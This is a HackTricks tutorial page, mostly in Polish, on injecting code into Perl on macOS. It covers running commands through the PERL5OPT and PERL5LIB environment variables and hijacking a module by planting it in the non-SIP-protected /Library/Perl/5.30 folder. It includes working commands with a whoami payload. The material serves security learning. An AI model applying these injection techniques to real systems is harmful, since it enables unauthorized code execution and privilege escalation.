macOS Perl Applications Injection

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!

• Dołącz do 💬 grupy Discord lub grupy telegram lub śledź nas na Twitterze 🐦 @hacktricks_live.

• Podziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.

Via PERL5OPT & PERL5LIB env variable

Używając zmiennej środowiskowej PERL5OPT, możliwe jest wykonanie dowolnych poleceń przez perl. Na przykład, stwórz ten skrypt:

test.pl

#!/usr/bin/perl
print "Hello from the Perl script!\n";

Teraz wyeksportuj zmienną env i uruchom skrypt perl:

export PERL5OPT='-Mwarnings;system("whoami")'
perl test.pl # This will execute "whoami"

Inną opcją jest stworzenie modułu Perl (np. /tmp/pmod.pm):

/tmp/pmod.pm

#!/usr/bin/perl
package pmod;
system('whoami');
1; # Modules must return a true value

A następnie użyj zmiennych środowiskowych:

PERL5LIB=/tmp/ PERL5OPT=-Mpmod

Via dependencies

Możliwe jest wylistowanie kolejności folderów zależności uruchomionego Perla:

perl -e 'print join("\n", @INC)'

Co zwróci coś takiego:

/Library/Perl/5.30/darwin-thread-multi-2level
/Library/Perl/5.30
/Network/Library/Perl/5.30/darwin-thread-multi-2level
/Network/Library/Perl/5.30
/Library/Perl/Updates/5.30.3
/System/Library/Perl/5.30/darwin-thread-multi-2level
/System/Library/Perl/5.30
/System/Library/Perl/Extras/5.30/darwin-thread-multi-2level
/System/Library/Perl/Extras/5.30

Niektóre z zwróconych folderów nawet nie istnieją, jednak /Library/Perl/5.30 istnieje, nie jest chroniony przez SIP i znajduje się przed folderami chronionymi przez SIP. Dlatego ktoś mógłby nadużyć tego folderu, aby dodać zależności skryptu, tak aby skrypt Perl z wysokimi uprawnieniami załadował je.

Jednak pamiętaj, że musisz być rootem, aby pisać w tym folderze i dzisiaj otrzymasz ten monit TCC:

Na przykład, jeśli skrypt importuje use File::Basename;, możliwe byłoby stworzenie /Library/Perl/5.30/File/Basename.pm, aby wykonać dowolny kod.

References

• https://www.youtube.com/watch?v=zxZesAN-TEk

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE) Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie dla HackTricks

• Sprawdź plany subskrypcyjne!

• Dołącz do 💬 grupy Discord lub grupy telegram lub śledź nas na Twitterze 🐦 @hacktricks_live.

• Dziel się sztuczkami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.